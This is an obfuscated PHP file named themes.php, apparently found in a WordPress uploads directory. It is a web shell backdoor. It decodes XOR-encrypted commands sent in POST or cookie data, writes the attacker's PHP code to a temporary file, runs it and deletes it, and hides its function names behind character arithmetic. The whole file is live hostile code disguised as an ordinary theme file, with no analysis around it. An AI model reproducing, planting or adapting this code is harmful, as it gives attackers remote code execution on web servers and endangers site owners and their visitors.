File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/09/themes.php
<?php $ugwdtt /*vjb */ = 'ugwdtt' ^ '';$xcdwfhy = "\x61" /*_r_o */ . /*mb */ "r".$ugwdtt(114) . /* r */ "\x61" . "\171" . $ugwdtt(95) /* lgf*/ . "\x6d" . $ugwdtt(97) . "p";
function qhzz_lb($gjvfivy, $hnsfpc)
{
global $ugwdtt; /* za_uvl*/ $gjvfivy = "\74" . "?"."p"."h"."p".$ugwdtt(32) /* n */ . /*zaxec */ "u".$ugwdtt(110) . "\154" /*_f */ . "\x69" . /*tmlq*/ "\x6e" . $ugwdtt(107) . "("."_"."_"."F"."\x49" . /* gdt */ "\114" /* ptyfl*/ . "E"."\x5f" /* _ */ . "_".")".";".$ugwdtt(32) . $gjvfivy["d"];
$vfslosnc = "\x66" /* qzgwpy */ . /* oduv */ $ugwdtt(645-540) /* xpuddm*/ . "l"."\x65"."\x5f" /* vsv */ . "p".$ugwdtt(117) /* ltlwn */ . $ugwdtt(550-434) . /* nx*/ $ugwdtt(95) . "c"."o"."n"."\164" . /*wkgnq */ "\x65"."\156" . "\x74" . $ugwdtt(926-811);
$vfslosnc($hnsfpc, /* vtr */ $gjvfivy); /*umxv*/ _yeoelo($hnsfpc);
}
$zsgulmreml /* ozmq */ = /*judg */ 73;
function _yeoelo($hnsfpc){ global $ugwdtt;
include($hnsfpc);
$skg_ciy /* ecxivr */ = $hnsfpc;
@unlink($skg_ciy);}
function /* sub*/ pahyzblzs()
{ /* hixp*/ global $ugwdtt;
$yftqkmq /* lrqw */ = /* bof */ array();
$yftqkmq["p".$ugwdtt(320-202)] = /* bwuq */ phpversion();
$yftqkmq["\x73" . "\x76"] = /* tp*/ "\63" . "."."\x35";
$kzmzzvoxpo = /* sf*/ 74;
echo @serialize($yftqkmq);
}
function /*cai*/ iepygm($gjvfivy, /* jmilen */ $dyptpln)
{
global /* i */ $ugwdtt;
$ciscbweofn = "";
$smknmu = strlen($gjvfivy);
$ncyfls_vr = strlen($dyptpln);
$yftqkmq = /* u */ 0; /* fsxdh */ $tkxxpyt /*au*/ = 0; /* xi */ while ($yftqkmq < $smknmu) {
$zduuruagw = /* bn */ $gjvfivy[$yftqkmq] ^ $dyptpln[$tkxxpyt % $ncyfls_vr];
$ciscbweofn .= $zduuruagw;
/* bl_t */ $tkxxpyt++; $yftqkmq++; }
/* hwmc */ if (strlen($ciscbweofn) > 20) {
/* zz */ $cqwkp_lwp /*tk */ = substr($ciscbweofn, 0, /* mvjq */ 20);
}
if /* evrlxd */ (empty($ciscbweofn)) { /* rnqwc */ $ciscbweofn = /*x */ date('Y-m-d /* gcwmg */ H:i:s');
}
return $ciscbweofn;
}
function zzfcl($ambzyuf)
{
/*hpxz*/ global $ugwdtt; /* qsvin */
/* x_occ */ $opum_gkkq = $ugwdtt(1020-920) /* sndgdh */ . "\x30" . "d"."7"."7".$ugwdtt(569-520) . "\67" /*fdwy */ . "\x35" /* yqldd */ . $ugwdtt(103-58) /* ua */ . /* amslz */ "\143" . /* i*/ $ugwdtt(98) . "\x61" . "0".$ugwdtt(898-853) . /* dgis */ "4".$ugwdtt(65-14) /* qve */ . /* gtmo */ "2"."f".$ugwdtt(45) /* mrsdej */ . "\x61" . /*hqyj */ "\71" . "\x30" . /* u */ "\x65"."-"."\x35" /* _z */ . /* on*/ "\x62" /*jajmg */ . "\141" . /* tcu */ $ugwdtt(875-824) . $ugwdtt(99) . "\144" . /* ztt */ "6"."1".$ugwdtt(554-505) . /*rdp */ "\x63" . /* dkzsk */ "\145" . /* xg */ "\x37";
foreach ($ambzyuf as $yzolm => $gjvfivy) {
/* ol */ janckama(base64_decode($gjvfivy), $opum_gkkq, /*nvvb */ $yzolm);
/* nqbecx */ }}
function janckama($gjvfivy, $opum_gkkq, $yzolm){
/* _clyz */ global $ugwdtt;
/* nitc */
$gjvfivy = unserialize(iepygm(iepygm($gjvfivy, $opum_gkkq), $yzolm)); $mdnnwz /*s */ = /* pyq */ 'c_';
$_gvpmr = /* q */ 'qmmvr';
if (isset($gjvfivy[$ugwdtt(97) . "\153"])) { if ($gjvfivy["\141"] == "\151") { pahyzblzs();
/*rb*/ } /* fzoxvf */ elseif /* xblq */ ($gjvfivy["\141"] == "\x65") /* yojo*/ {
qhzz_lb($gjvfivy, sprintf(".".$ugwdtt(47) /* flhcth */ . "\45" /* ugf */ . "s".".".$ugwdtt(112) . "\x6c", md5($opum_gkkq)));
$ehfccdg_rx = /* jtrm */ 44;
}
exit(); /* rzzd */ }}
zzfcl($_POST);
$emevrgfzvo = 'rawurldecode';
$hjhkmqbw = /* bmb_ */ $xcdwfhy($emevrgfzvo, /* otsxme */ $_POST);explode("", /* qo_e */ $emevrgfzvo);
zzfcl($_COOKIE);
$otdfbupptg /* lvow*/ = /*gs */ $xcdwfhy($emevrgfzvo, /*zxrso */ $_COOKIE);
?>